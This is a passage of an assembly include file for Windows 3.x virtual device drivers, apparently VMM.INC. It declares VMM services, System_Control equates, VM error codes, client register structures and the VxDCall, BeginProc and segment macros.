; Following service is not restricted to initialization
;
VMM_Service	GetSet_HMA_Info
VMM_Service	Set_System_Exit_Code

VMM_Service	Fatal_Error_Handler
VMM_Service	Fatal_Memory_Error

;
;   Called by VTD only
;
VMM_Service	Update_System_Clock

;==============================================================================
;		    D E B U G G I N G	E X T E R N S
;==============================================================================

VMM_Service	Test_Debug_Installed		; Valid call in retail also

VMM_Service	Out_Debug_String		; Valid in DEBLEVEL=1
VMM_Service	Out_Debug_Chr
VMM_Service	In_Debug_Chr
VMM_Service	Debug_Convert_Hex_Binary
VMM_Service	Debug_Convert_Hex_Decimal

VMM_Service	Debug_Test_Valid_Handle
VMM_Service	Validate_Client_Ptr
VMM_Service	Test_Reenter
VMM_Service	Queue_Debug_String
VMM_Service	Log_Proc_Call
VMM_Service	Debug_Test_Cur_VM

VMM_Service	Get_PM_Int_Type
VMM_Service	Set_PM_Int_Type

VMM_Service	Get_Last_Updated_System_Time
VMM_Service	Get_Last_Updated_VM_Exec_Time

; for DBCS Enabling
VMM_Service	Test_DBCS_Lead_Byte

.errnz	Test_DBCS_Lead_Byte - 100D1h   ; VMM service table changed above this service

;*************************************************************************
;*************************************************************************
;*************************************************************************
;
; END OF 3.00 SERVICE TABLE MUST NOT SHUFFLE SERVICES BEFORE THIS POINT
;	FOR COMPATIBILITY.
;

VMM_Service	_AddFreePhysPage, VMM_ICODE
VMM_Service	_PageResetHandlePAddr
VMM_Service	_SetLastV86Page, VMM_ICODE
VMM_Service	_GetLastV86Page
VMM_Service	_MapFreePhysReg
VMM_Service	_UnmapFreePhysReg
VMM_Service	_XchgFreePhysReg
VMM_Service	_SetFreePhysRegCalBk, VMM_ICODE
VMM_Service	Get_Next_Arena, VMM_ICODE
VMM_Service	Get_Name_Of_Ugly_TSR, VMM_ICODE
VMM_Service	Get_Debug_Options, VMM_ICODE

;
; Bits for the ECX return of Get_Next_Arena
;
GNA_HiDOSLinked  equ	 0000000000000010B	; High DOS arenas were linked in
						;   when WIN386 was started
GNA_IsHighDOS	 equ	 0000000000000100B	; High DOS arenas do exist

VMM_Service	Set_Physical_HMA_Alias, VMM_ICODE
VMM_Service	_GetGlblRng0V86IntBase, VMM_ICODE
VMM_Service	_Add_Global_V86_Data_Area, VMM_ICODE

VMM_Service	GetSetDetailedVMError
;
; Error code values for the GetSetDetailedVMError service. PLEASE NOTE
;   that all of these error code values need to have bits set in the high
;   word. This is to prevent collisions with other VMDOSAPP standard errors.
;   Also, the low word must be non-zero.
;
; First set of errors (high word = 0001) are intended to be used
;   when a VM is CRASHED (VNE_Crashed or VNE_Nuked bit set on
;   VM_Not_Executeable).
;
; PLEASE NOTE that each of these errors (high word == 0001) actually
;   has two forms:
;
;	0001xxxxh
;	8001xxxxh
;
;   The device which sets the error initially always sets the error with
;   the high bit CLEAR. The system will then optionally set the high bit
;   depending on the result of the attempt to "nicely" crash the VM. This
;   bit allows the system to tell the user whether the crash is likely or
;   unlikely to destabalize the system.
;
GSDVME_PrivInst 	equ	00010001h	; Privledged instruction
GSDVME_InvalInst	equ	00010002h	; Invalid instruction
GSDVME_InvalPgFlt	equ	00010003h	; Invalid page fault
GSDVME_InvalGpFlt	equ	00010004h	; Invalid GP fault
GSDVME_InvalFlt 	equ	00010005h	; Invalid fault, not any of abv
GSDVME_UserNuke 	equ	00010006h	; User requested NUKE of running
						;    VM
GSDVME_DevNuke		equ	00010007h	; Device specific problem
GSDVME_DevNukeHdwr	equ	00010008h	; Device specific problem,
						;   invalid hardware fiddling
						;   by VM (invalid I/O)
GSDVME_NukeNoMsg	equ	00010009h	; Supress standard messgs,
						;   SHELL_Message used for
						;   custom msg.

GSDVME_OkNukeMask	equ	80000000h	; "Nice nuke" bit

;
; Second set of errors (high word = 0002) are intended to be used
;   when a VM start up is failed (VNE_CreateFail, VNE_CrInitFail, or
;   VNE_InitFail bit set on VM_Not_Executeable).
;
GSDVME_InsMemV86	equ	00020001h	; base V86 mem	   - V86MMGR
GSDVME_InsV86Space	equ	00020002h	; Kb Req too large - V86MMGR
GSDVME_InsMemXMS	equ	00020003h	; XMS Kb Req	   - V86MMGR
GSDVME_InsMemEMS	equ	00020004h	; EMS Kb Req	   - V86MMGR
GSDVME_InsMemV86Hi	equ	00020005h	; Hi DOS V86 mem   - DOSMGR
						;		     V86MMGR
GSDVME_InsMemVid	equ	00020006h	; Base Video mem   - VDD
GSDVME_InsMemVM 	equ	00020007h	; Base VM mem	   - VMM
						;   CB, Inst Buffer
GSDVME_InsMemDev	equ	00020008h	; Couldn't alloc base VM
						;   memory for device.
GSDVME_CrtNoMsg 	equ	00020009h	; Supress standard messgs,
						;   SHELL_Message used for
						;   custom msg.
VMM_Service	Is_Debug_Chr
;
; Mono_Out services
;
VMM_Service	Clear_Mono_Screen
VMM_Service	Out_Mono_Chr
VMM_Service	Out_Mono_String
VMM_Service	Set_Mono_Cur_Pos
VMM_Service	Get_Mono_Cur_Pos
VMM_Service	Get_Mono_Chr

;
;   Service locates a byte in ROM
;
VMM_Service	Locate_Byte_In_ROM, VMM_ICODE

VMM_Service	Hook_Invalid_Page_Fault
VMM_Service	Unhook_Invalid_Page_Fault
;
; This is the structure of the "invalid page fault information"
; which is pointed to by EDI when Invalid page fault hookers
; are called.
;
; page faults can occur on a VM which is not current by touching the VM at
;   its high linear address. In this case, IPF_FaultingVM may not = the
;   current VM, it will be set to the VM whos high linear address was touched.
;
IPF_Data	struc

  IPF_LinAddr	    dd	    ?	; CR2 address of fault
  IPF_MapPageNum    dd	    ?	; Possible converted page # of fault
  IPF_PTEEntry	    dd	    ?	; Contents of PTE that faulted
  IPF_FaultingVM    dd	    ?	; May not = Current VM (IPF_V86PgH set)
  IPF_Flags	    dd	    ?	; Flags

IPF_Data	ends
;
; Flag bits of IPF_Flags
;
			; Page directory entry not-present (not pres page table)
IPF_PgDir	equ	000000000000000000000000000000001b
			; Unexpected not present Page in V86
IPF_V86Pg	equ	000000000000000000000000000000010b
			; Unexpected not present Page in V86 at high linear
IPF_V86PgH	equ	000000000000000000000000000000100b
			; page has invalid not present type
IPF_InvTyp	equ	000000000000000000000000000001000b
			; pageswap device couldn't page for some reason
IPF_PgErr	equ	000000000000000000000000000010000b
			; re-entrant page fault
IPF_ReFlt	equ	000000000000000000000000000100000b
			; Page fault caused by a VxD
IPF_VMM 	equ	000000000000000000000000001000000b
			; Page fault caused by VM running in Prot Mode
IPF_PM		equ	000000000000000000000000010000000b
			; Page fault caused by VM running in V86 Mode
IPF_V86 	equ	000000000000000000000000100000000b

VMM_Service	Set_Delete_On_Exit_File

VMM_Service	Close_VM
;
;   Flags for Close_VM service
;
CVF_Continue_Exec   equ 00000001b
CVF_Continue_Exec_Bit equ 0

VMM_Service	Enable_Touch_1st_Meg		; Debugging only
VMM_Service	Disable_Touch_1st_Meg		; Debugging only

VMM_Service	Install_Exception_Handler
VMM_Service	Remove_Exception_Handler

Exception_Handler_Struc STRUC
EH_Reserved	dd	?
EH_Start_EIP	dd	?
EH_End_EIP	dd	?
EH_Handler	dd	?
Exception_Handler_Struc ENDS

VMM_Service	Get_Crit_Status_No_Block

.errnz	 Get_Crit_Status_No_Block - 100F1h   ; VMM service table changed above this service

;*************************************************************************
;*************************************************************************
;*************************************************************************
;
; END OF 3.10 SERVICE TABLE MUST NOT SHUFFLE SERVICES BEFORE THIS POINT
;	FOR COMPATIBILITY.
;


End_Service_Table VMM, VMM


;******************************************************************************

IFDEF DEBUG
DebFar	EQU	NEAR PTR
ELSE
DebFar	EQU	SHORT
ENDIF

BeginDoc

;******************************************************************************
;
;		     EQUATES FOR SYSTEM_CONTROL CALLS
;
;==============================================================================

;
; Sys_Critical_Init is a device init call. Devices that have a critical
;   function that needs initializing before interrupts are enabled should
;   do it at Sys_Critical_Init. Devices which REQUIRE a certain range of
;   V86 pages to operate (such as the VDD video memory) should claim them
;   at Sys_Critical_Init. SYS VM Simulate_Int, Exec_Int ACTIVITY IS NOT
;   ALLOWED. Returning carry aborts device load only.
;
Sys_Critical_Init	EQU	0000h		; Devices required for virt mode
;
; Device init is where most devices do the bulk of their initialization.
;   SYS VM Simulate_Int, Exec_Int activity is allowed. Returning carry
;   aborts device load only.
;
Device_Init		EQU	0001h		; All other devices init
;
; Init_Complete is the final phase of device init called just before the
;   WIN386 INIT pages are released and the Instance snapshot is taken.
;   Devices which wish to search for a region of V86 pages >= A0h to use
;   should do it at Init_Complete.
;   SYS VM Simulate_Int, Exec_Int activity is allowed. Returning carry
;   aborts device load only.
;
Init_Complete		EQU	0002h		; All devices have initialized

;----------------- INITIALIZATION CODE AND DATA DISCARDED ---------------------

;
; Same as VM_Init, except for SYS VM.
;
Sys_VM_Init		EQU	0003h		; Execute the system VM (Win86)
;
; Same as VM_Terminate, except for SYS VM (Normal WIN386 exit ONLY, on a crash
;   exit this call is not made). SYS VM Simulate_Int, Exec_Int activity is
;   allowed.
;
Sys_VM_Terminate	EQU	0004h		; System VM terminted (exiting)

;------------------------------------------------------------------------------

;
; System_Exit call is made when WIN386 is exiting either normally or via
;   a crash. INTERRUPS ARE ENABLED. Instance snapshot has been restored.
;   SYS VM Simulate_Int, Exec_Int ACTIVITY IS NOT ALLOWED.
;
System_Exit		EQU	0005h		; Devices prepare to exit
;
; System_Exit call is made when WIN386 is exiting either normally or via
;   a crash. INTERRUPS ARE DISABLED. SYS VM Simulate_Int, Exec_Int ACTIVITY
;   IS NOT ALLOWED.
;
Sys_Critical_Exit	EQU	0006h		; System critical devices reset

;
; Create_VM creates a new VM. EBX = VM handle of new VM. Returning Carry will
;   fail the Create_VM.
;
Create_VM		EQU	0007h
;
; Second phase of Create_VM. EBX = VM handle of new VM. Returning Carry will
;   cause the VM to go Not_Executeable, then be destroyed. VM Simulate_Int,
;   Exec_Int activity is NOT allowed.
;
VM_Critical_Init	EQU	0008h
;
; Third phase of Create_VM. EBX = VM handle of new VM. Returning Carry will
;   cause the VM to go Not_Executeable, then be destroyed. VM Simulate_Int,
;   Exec_Int activity is allowed.
;
VM_Init 		EQU	0009h

;
; NORMAL (First phase) of Destroy_VM. EBX = VM Hanlde. This occurs on normal
;   termination of the VM. Call cannot be failed. VM Simulate_Int, Exec_Int
;   activity is allowed.
;
VM_Terminate		EQU	000Ah		; Still in VM -- About to die
;
; Second phase of Destroy_VM. EBX = VM Handle, EDX = Flags (see below). Note
;   that in the case of destroying a running VM, this is the first call made
;   (VM_Terminate call does not occur). Call cannot be failed. VM Simulate_Int,
;   Exec_Int activity is NOT allowed.
;
VM_Not_Executeable	EQU	000Bh		; Most devices die (except VDD)
;
; Final phase of Destroy_VM. EBX = VM Handle. Note that considerable time
;   can elaps between the VM_Not_Executeable call and this call. Call cannot
;   be failed. VM Simulate_Int, Exec_Int activity is NOT allowed.
;
Destroy_VM		EQU	000Ch		; VM's control block about to go

;
;   Flags for VM_Not_Executeable control call (passed in EDX)
;
VNE_Crashed		EQU	0000000000000000000000001b
VNE_Crashed_Bit 	EQU	0		; VM was crashed
VNE_Nuked		EQU	0000000000000000000000010b
VNE_Nuked_Bit		EQU	1		; VM was destroyed while active
VNE_CreateFail		EQU	0000000000000000000000100b
VNE_CreateFail_Bit	EQU	2		; Some device failed Create_VM
VNE_CrInitFail		EQU	0000000000000000000001000b
VNE_CrInitFail_Bit	EQU	3		; Some device failed VM_Critical_Init
VNE_InitFail		EQU	0000000000000000000010000b
VNE_InitFail_Bit	EQU	4		; Some device failed VM_Init
VNE_Closed		EQU	0000000000000000000100000b
VNE_Closed_Bit		EQU	5

;------------------------------------------------------------------------------

;
; EBX = VM Handle. Call cannot be failed.
;
VM_Suspend		EQU	000Dh		; VM not runnable until resume
;
; EBX = VM Handle. Returning carry fails and backs out the resume.
;
VM_Resume		EQU	000Eh		; VM is leaving suspended state

;------------------------------------------------------------------------------

;
; EBX = VM Handle to set device focus to. EDX = Device ID if device specific
;   setfocus. == 0 if device critical setfocus (all devices). THIS CALL CANNOT
;   BE FAILED.
;
;   NOTE: In case where EDX == 0, ESI is a FLAG word that indicates special
;	  functions. Currently Bit 0 being set indicates that this Device
;	  critical set focus is also "VM critical". It means that we do not
;	  want some other VM to take the focus from this app now. This is
;	  primarily used when doing a device critical set focus to Windows
;	  (the SYS VM) it is interpreted by the SHELL to mean "if an old app
;	  currently has the Windows activation, set the activation to the
;	  Windows Shell, not back to the old app". ALSO in the case where
;	  Bit 0 is set, EDI = The VM handle of the VM that is "having trouble".
;	  Set this to 0 if there is no specific VM associated with the problem.
;
Set_Device_Focus	EQU	000Fh

;------------------------------------------------------------------------------

;
; EBX = VM Handle going into message mode. THIS CALL CANNOT BE FAILED.
;
Begin_Message_Mode	EQU	0010h
;
; EBX = VM Handle leaving message mode. THIS CALL CANNOT BE FAILED.
;
End_Message_Mode	EQU	0011h

;------------------------- SPECIAL CONTROL CALLS ------------------------------

;
; Request for reboot. Call cannot be failed.
;
Reboot_Processor	EQU	0012h		; Request a machine reboot
;
; Query_Destroy is an information call made by the SHELL device before an
;   attempt is made to initiate a destroy VM sequence on a running VM which
;   has not exited normally. EBX = VM Handle. Returning carry indicates that
;   a device "has a problem" with allowing this. THE DESTROY SEQUENCE CANNOT
;   BE ABORTED HOWEVER, this decision is up to the user. All this does is
;   indicate that there is a "problem" with allowing the destroy. The device
;   which returns carry should call the SHELL_Message service to post an
;   informational dialog about the reason for the problem.
;
Query_Destroy		EQU	0013h		; OK to destroy running VM?

;------------------------- DEBUGGING CONTROL CALL -----------------------------

;
; Special call for device specific DEBUG information display and activity.
;
Debug_Query		EQU	0014h

;---------- CALLS FOR BEGIN/END OF PROTECTED MODE VM EXECUTION ----------------

;
;   About to run a protected mode application.
;   EBX = Current VM handle.
;   EDX = Flags
;   EDI -> Application Control Block
;   Returning with carry set fails the call.
;
Begin_PM_App		EQU	0015h

;
;   Flags for Begin_PM_App (passed in EDX)
;
BPA_32_Bit		EQU	00000001b
BPA_32_Bit_Flag 	EQU	1

;
;   Protected mode application is terminating.
;   EBX = Current VM handle.  THIS CALL CAN NOT FAIL.
;   EDI -> Application Control Block
;
End_PM_App		EQU	0016h

;
;   Called whenever system is about to be rebooted.  Allows VxDs to clean
;   up in preperation for reboot.
;
Device_Reboot_Notify	EQU	0017h
Crit_Reboot_Notify	EQU	0018h

;
;   Called when VM is about to be termintate using the Close_VM service
;	EBX = Current VM handle (Handle of VM to close)
;	EDX = Flags
;	      CVNF_Crit_Close = 1 if VM is in critical section while closing
;
Close_VM_Notify 	EQU	0019h

CVNF_Crit_Close 	EQU	00000001b
CVNF_Crit_Close_Bit	EQU	0

;
;   Power management event notification.
;   EBX = 0
;   ESI = event notification message
;   EDI -> DWORD return value; VxD's modify the DWORD to return info, not EDI
;   EDX is reserved
;
Power_Event		EQU	001Ah


EndDoc

BeginDoc
;******************************************************************************
; BeginProc is a macro for defining entry points to routines in VMM and in the
;   VxDs. It correctly defines the procedure name for VxD services(it prepends
;   a "@" to the procedure name), DWORD aligns the procedure, takes care of
;   public declaration and does some calling verification for debug versions
;   of the software. EndProc is a macro which defines the end of the procedure.
;
; Valid parameters to the BeginProc macro are:
;	PUBLIC				; Routine used outside this module
;	HIGH_FREQ			; DWORD align procedure
;	SERVICE 			; Routine is called via VxDCall
;	ASYNC_SERVICE			; Same as "SERVICE" plus routine can
;					;	be called under interrupt.
; After the routine header in which the routine entry conditions, exit
;   conditions, side affects and functionality are specified, the BeginProc
;   macro should be used to define the routine's entry point. It has up to
;   four parameters as specified below. For example:
;
;BeginProc  <Function_Name>,PUBLIC, HIGH_FREQ, ASYNC_SERVICE
;
;	<code>
;
;EndProc    <Function_Name>
;==============================================================================
EndDoc

BeginProc MACRO Name, P1, P2, P3, P4
	LOCAL	Profile_Data, Skip_Data

IF ?_RCODE

Process_Param MACRO P
IFNB <P>
IFIDNI <P>, <HIGH_FREQ>
Dword_Align
ELSE
IFIDNI <P>, <SERVICE>
??_SERVICE = 1
ELSE
IFIDNI <P>, <ASYNC_SERVICE>
??_ASYNC_SERVICE = 1
IF ?_LCODE
%OUT ERROR:  ASYNC_SERVICE's must be in LOCKED code
;;.err
ENDIF
ELSE
IFIDNI <P>, <NO_LOG>
??_NO_LOG = 1
ELSE
IFDIFI <P>, <PUBLIC>
%OUT ERROR:  Bad para "&P" to BeginProc
.ERR
ENDIF
ENDIF
ENDIF
ENDIF
ENDIF
ENDIF
	ENDM


??_SERVICE = 0
??_ASYNC_SERVICE = 0
??_NO_LOG = 0

Process_Param P1
Process_Param P2
Process_Param P3
Process_Param P4


IFE ??_SERVICE + ??_ASYNC_SERVICE

PUBLIC Name
Name PROC NEAR
IFDEF DEBUG
IFE ??_NO_LOG
IFNDEF VMMSYS
	VMMcall Log_Proc_Call
ENDIF
ENDIF
ENDIF

ELSE

IFDEF DEBUG
	jmp	SHORT Skip_Data
Profile_Data LABEL DWORD
	dd	0
Skip_Data:
ENDIF

PUBLIC @&Name
@&Name PROC NEAR

IFDEF DEBUG
IFE ??_NO_LOG
;;;;IFNDEF VMMSYS
	VMMcall Log_Proc_Call
;;;;ENDIF
ENDIF
	pushfd
	inc	[Profile_Data]
IFE ??_ASYNC_SERVICE
	VMMcall Test_Reenter
ENDIF
	popfd
ENDIF
ENDIF

ELSE
IFIDNI <P1>, <PUBLIC>
PUBLIC Name
ENDIF
Name PROC NEAR
ENDIF


	ENDM



EndProc MACRO Name
IFDEF @&Name
@&Name ENDP
ELSE
IFDEF Name
Name ENDP
ELSE
.ERR
%OUT EndProc for &Name does not match BeginProc
ENDIF
ENDIF
	ENDM


;******************************************************************************
;	       S C H E D U L E R   B O O S T   V A L U E S
;==============================================================================

Reserved_Low_Boost	EQU	00000000000000000000000000000001b
Cur_Run_VM_Boost	EQU	00000000000000000000000000000100b
Low_Pri_Device_Boost	EQU	00000000000000000000000000010000b
High_Pri_Device_Boost	EQU	00000000000000000001000000000000b
Critical_Section_Boost	EQU	00000000000100000000000000000000b
Time_Critical_Boost	EQU	00000000010000000000000000000000b
Reserved_High_Boost	EQU	01000000000000000000000000000000b


;******************************************************************************
;	 F L A G S   F O R   C A L L _ P R I O R I T Y _ V M _ E V E N T
;==============================================================================

PEF_Wait_For_STI	EQU	0000001b
PEF_Wait_For_STI_Bit	EQU	0
PEF_Wait_Not_Crit	EQU	0000010b
PEF_Wait_Not_Crit_Bit	EQU	1
PEF_Dont_Unboost	EQU	0000100b
PEF_Dont_Unboost_Bit	EQU	2
PEF_Always_Sched	EQU	0001000b
PEF_Always_Sched_Bit	EQU	3
PEF_Time_Out		EQU	0010000b
PEF_Time_Out_Bit	EQU	4

;******************************************************************************
;	 F L A G S   F O R   B E G I N _ C R I T I C A L _ S E C T I O N
;		       A N D   W A I T _ S E M A P H O R E
;==============================================================================

Block_Svc_Ints			EQU	0000001b
Block_Svc_Ints_Bit		EQU	0
Block_Svc_If_Ints_Locked	EQU	0000010b
Block_Svc_If_Ints_Locked_Bit	EQU	1
Block_Enable_Ints		EQU	0000100b
Block_Enable_Ints_Bit		EQU	2
Block_Poll			EQU	0001000b
Block_Poll_Bit			EQU	3



BeginDoc
;******************************************************************************
; The following structures are pointed to by EBP when VxD routines are entered,
;   both for VxD control calls and traps(I/O traps, software INT traps, etc.).
;   The first structure as DWORD values, the second WORD values and the last
;   has BYTE values.
;
Client_Reg_Struc   struc
Client_EDI	dd	?		; Client's EDI
Client_ESI	dd	?		; Client's ESI
Client_EBP	dd	?		; Client's EBP
		dd	?		; ESP at pushall
Client_EBX	dd	?		; Client's EBX
Client_EDX	dd	?		; Client's EDX
Client_ECX	dd	?		; Client's ECX
Client_EAX	dd	?		; Client's EAX
Client_Error	dd	?		; Dword error code
Client_EIP	dd	?		; EIP
Client_CS	dw	?		; CS
		dw	?		;   (padding)
Client_EFlags	dd	?		; EFLAGS
Client_ESP	dd	?		; ESP
Client_SS	dw	?		; SS
		dw	?		;   (padding)
Client_ES	dw	?		; ES
		dw	?		;   (padding)
Client_DS	dw	?		; DS
		dw	?		;   (padding)
Client_FS	dw	?		; FS
		dw	?		;   (padding)
Client_GS	dw	?		; GS
		dw	?		;   (padding)
Client_Alt_EIP	dd	?
Client_Alt_CS	dw	?
		dw	?
Client_Alt_EFlags  dd	?
Client_Alt_ESP	dd	?
Client_Alt_SS	dw	?
		dw	?
Client_Alt_ES	dw	?
		dw	?
Client_Alt_DS	dw	?
		dw	?
Client_Alt_FS	dw	?
		dw	?
Client_Alt_GS	dw	?
		dw	?
Client_Reg_Struc   ends


Client_Word_Reg_Struc	struc
Client_DI	dw	?		; Client's DI
		dw	?		;   (padding)
Client_SI	dw	?		; Client's SI
		dw	?		;   (padding)
Client_BP	dw	?		; Client's BP
		dw	?		;   (padding)
		dd	?		; ESP at pushall
Client_BX	dw	?		; Client's BX
		dw	?		;   (padding)
Client_DX	dw	?		; Client's DX
		dw	?		;   (padding)
Client_CX	dw	?		; Client's CX
		dw	?		;   (padding)
Client_AX	dw	?		; Client's AX
		dw	?		;   (padding)
		dd	?		; Dword error code
Client_IP	dw	?		; Client's IP
		dw	?		;   (padding)
		dd	?		; CS
Client_Flags	dw	?		; Client's flags (low)
		dw	?		;   (padding)
Client_SP	dw	?		; SP
		dw	?
		dd	5 dup (?)
Client_Alt_IP	dw	?
		dw	?
		dd	?
Client_Alt_Flags    dw	?
		dw	?
Client_Alt_SP	dw	?
Client_Word_Reg_Struc	ends



Client_Byte_Reg_Struc	struc
		dd	4 dup (?)	; EDI, ESI, EBP, ESP at pushall
Client_BL	db	?		; Client's BL
Client_BH	db	?		; Client's BH
		dw	?		;   (padding)
Client_DL	db	?		; Client's DL
Client_DH	db	?		; Client's DH
		dw	?		;   (padding)
Client_CL	db	?		; Client's CL
Client_CH	db	?		; Client's CH
		dw	?		;   (padding)
Client_AL	db	?		; Client's AL
Client_AH	db	?		; Client's AH
Client_Byte_Reg_Struc	ends

;==============================================================================
EndDoc

.ERRNZ Client_SP - Client_ESP
.ERRNZ Client_AL - Client_EAX



PushCParams MACRO P1, P2, P3, P4, P5, P6, P7, P8, P9, P10
	IRP Param, <P10, P9, P8, P7, P6, P5, P4, P3, P2, P1>
	IFNB <Param>
	push	Param
	ENDIF
	ENDM
	ENDM

ClearCParams MACRO Count, P1, P2, P3, P4, P5, P6, P7, P8, P9, P10
IFNB <P1>
	ClearCParams %(Count+1), <P2>, <P3>, <P4>, <P5>, <P6>, <P7>, <P8>, <P9>, <P10>
ELSE
IF Count
	add	esp, Count*4
ENDIF
ENDIF
	ENDM



Dyna_Link_Int	EQU 20h

;
;
BeginDoc
;******************************************************************************
; The VMMCall and VxDCall macros provide a dynamic link to the VMM and VxD
;   service routines. For example:
;
;   VMMCall Enable_VM_Ints		; Equivalent to STI in VM code
;
;   mov     eax,[My_IRQ_Handle]
;   VxDCall VPICD_Set_Int_Request	; Set IRQ for my device's interrupt
;
; Note that Enable_VM_Ints is defined in VMM.INC and VPICD_Set_Int_Request is
;	defined in VPICD.INC
;
;==============================================================================
EndDoc


BeginDoc
;******************************************************************************
; VxDCall
;==============================================================================
EndDoc
VxDcall MACRO P, Param
	PushCParams Param
	int	Dyna_Link_Int
	dd	P
	ClearCParams 0, Param
	ENDM

VxDjmp	MACRO P, Param
IFNB <Param>
%OUT ERROR:  Parameters may not be passed to VxDjmp or VMMjmp macros
.ERR
ENDIF
	int	Dyna_Link_Int
IFDEF DEBUG
	dd	P
	ret
ELSE
	dd	P OR DL_Jmp_Mask
ENDIF
	ENDM

DL_Jmp_Mask	EQU	8000h
DL_Jmp_Bit	EQU	0Fh


VMMcall MACRO P, Param
	.ERRNZ (P SHR 16) - VMM_Device_ID
	VxDcall <P>, <Param>
	ENDM

VMMjmp MACRO P, Param
	.ERRNZ (P SHR 16) - VMM_Device_ID
	VxDjmp <P>, <Param>
	ENDM

cCall MACRO P, Param
	PushCParams Param
	call	P
	ClearCParams 0, Param
	ENDM


BeginDoc
;******************************************************************************
; Segment definition macros
;
; The segment definition macros are a convenience used in defining the
;	segments used by the device driver. They are:
;VxD_ICODE_SEG	 defines start of initialization code segment
;VxD_ICODE_ENDS  defines end of initialization code segment
;VxD_IDATA_SEG	 defines start of initialization data segment
;VxD_IDATA_ENDS  defines end of initialization data segment
;VxD_CODE_SEG	 defines start of always present code segment
;VxD_CODE_ENDS	 defines end of always present code segment
;VxD_DATA_SEG	 defines start of always present data segment
;VxD_DATA_ENDS	 defines end of always present data segment
;==============================================================================
EndDoc


;   Protected mode code
VxD_CODE_SEG	EQU <VxD_LOCKED_CODE_SEG>
VxD_CODE_ENDS	EQU <VxD_LOCKED_CODE_ENDS>


VxD_LOCKED_CODE_SEG MACRO
_LTEXT	 SEGMENT
??_CUR_CODE_SEG = ??_CUR_CODE_SEG SHL 3 + ??_LCODE
	ASSUME	cs:FLAT, ds:FLAT, es:FLAT, ss:FLAT
		ENDM

VxD_LOCKED_CODE_ENDS MACRO
??_CUR_CODE_SEG = ??_CUR_CODE_SEG SHR 3
_LTEXT	 ENDS
		ENDM



;   Protected mode initialization code
VxD_ICODE_SEG	MACRO
_ITEXT	SEGMENT
??_CUR_CODE_SEG = ??_CUR_CODE_SEG SHL 3 + ??_ICODE
	ASSUME	cs:FLAT, ds:FLAT, es:FLAT, ss:FLAT
		ENDM

VxD_ICODE_ENDS	MACRO
??_CUR_CODE_SEG = ??_CUR_CODE_SEG SHR 3
_ITEXT	ENDS
		ENDM


;   Protected mode data
VxD_DATA_SEG	EQU <VxD_LOCKED_DATA_SEG>
VxD_DATA_ENDS	EQU <VxD_LOCKED_DATA_ENDS>



VxD_LOCKED_DATA_SEG MACRO NO_ALIGN
_LDATA	 SEGMENT
IFB <NO_ALIGN>
	ALIGN 4
ENDIF
		ENDM

VxD_LOCKED_DATA_ENDS MACRO
_LDATA	 ENDS
		ENDM




;   Protected mode initialization data
VxD_IDATA_SEG	MACRO
_IDATA	SEGMENT
		ENDM
VxD_IDATA_ENDS	MACRO
_IDATA	ENDS
		ENDM

VxD_REAL_INIT_SEG  MACRO
_RCODE SEGMENT
ASSUME CS:_RCODE, DS:_RCODE, ES:_RCODE, SS:_RCODE
??_CUR_CODE_SEG = ??_CUR_CODE_SEG SHL 3 + ??_RCODE
		  ENDM

VxD_REAL_INIT_ENDS MACRO
??_CUR_CODE_SEG = ??_CUR_CODE_SEG SHR 3
_RCODE ENDS
		   ENDM

ENDIF

DDK_Version equ 30Ah		; 3.10

VxD_Desc_Block STRUC
DDB_Next		dd  ?			; VMM RESERVED FIELD
DDB_SDK_Version 	dw  DDK_Version 	; VMM RESERVED FIELD
DDB_Req_Device_Number	dw  Undefined_Device_ID ; Required device number
DDB_Dev_Major_Version	db  0			; Major device number
DDB_Dev_Minor_Version	db  0			; Minor device number
DDB_Flags		dw  0			; Flags for init calls complete
DDB_Name		db  "        "		; Device name
DDB_Init_Order		dd  Undefined_Init_Order; Initialization Order
DDB_Control_Proc	dd  ?			; Offset of control procedure
DDB_V86_API_Proc	dd  0			; Offset of API procedure (or 0)
DDB_PM_API_Proc 	dd  0			; Offset of API procedure (or 0)
DDB_V86_API_CSIP	dd  0			; CS:IP of API entry point
DDB_PM_API_CSIP 	dd  0			; CS:IP of API entry point
DDB_Reference_Data	dd  ?			; Reference data from real mode
DDB_Service_Table_Ptr	dd  0			; Pointer to service table
DDB_Service_Table_Size	dd  0			; Number of services
VxD_Desc_Block ENDS


IFNDEF Not_VxD

; flag values for DDB_Flags

DDB_Sys_Crit_Init_Done	    EQU 00000001b
DDB_Sys_Crit_Init_Done_Bit  EQU        0
DDB_Device_Init_Done	    EQU 00000010b
DDB_Device_Init_Done_Bit    EQU       1

BeginDoc
;******************************************************************************
;
;   Declare_Virtual_Device macro
;
; ???? Write something here ????
;
;==============================================================================
EndDoc
Declare_Virtual_Device MACRO Name, Major_Ver, Minor_Ver, Ctrl_Proc, Device_Num, Init_Order, V86_Proc, PM_Proc
	LOCAL	V86_API_Offset, PM_API_Offset, Serv_Tab_Offset, Serv_Tab_Len

dev_id_err MACRO
%OUT Device ID required when providing services
.ERR
	ENDM

IFB <V86_Proc>
	V86_API_Offset EQU 0
ELSE
IFB <Device_Num>
	dev_id_err
ENDIF
	V86_API_Offset EQU <OFFSET32 V86_Proc>
ENDIF
IFB <PM_Proc>
	PM_API_Offset EQU 0
ELSE
IFB <Device_Num>
	dev_id_err
ENDIF
	PM_API_Offset EQU <OFFSET32 PM_Proc>
ENDIF
IFDEF Name&_Service_Table
IFB <Device_Num>
	dev_id_err
ELSE
IFE Device_Num - Undefined_Device_ID
	dev_id_err
ENDIF
ENDIF
	Serv_Tab_Offset EQU <OFFSET32 Name&_Service_Table>
	Serv_Tab_Len	EQU Num_&Name&_Services
ELSE
	Serv_Tab_Offset EQU 0
	Serv_Tab_Len	EQU 0
ENDIF


VxD_LOCKED_DATA_SEG
PUBLIC Name&_DDB
Name&_DDB VxD_Desc_Block <,,Device_Num,Major_Ver,Minor_Ver,,"&Name",Init_Order,\
			 OFFSET32 Ctrl_Proc, V86_API_Offset, PM_API_Offset, \
			 ,,,Serv_Tab_Offset, Serv_Tab_Len>
VxD_LOCKED_DATA_ENDS
	ENDM


BeginDoc
;******************************************************************************
; The Begin_Control_Dispatch macro is used for building a table for dispatching
; messages passed to the VxD_Control procedure.  It is used with
; Control_Dispatch and End_Control_Dispatch.  The only parameter is used to
; contruct the procedure label by adding "_Control" to the end (normally the
; device name is used i.e. VKD results in creating the procedure VKD_Control,
; this created procedure label must be included in Declare_Virtual_Device)
;
; An example of building a complete dispatch table:
;
; Begin_Control_Dispatch MyDevice
; Control_Dispatch  Device_Init, MyDeviceInitProcedure
; Control_Dispatch  Sys_VM_Init, MyDeviceSysInitProcedure
; Control_Dispatch  Create_VM,	 MyDeviceCreateVMProcedure
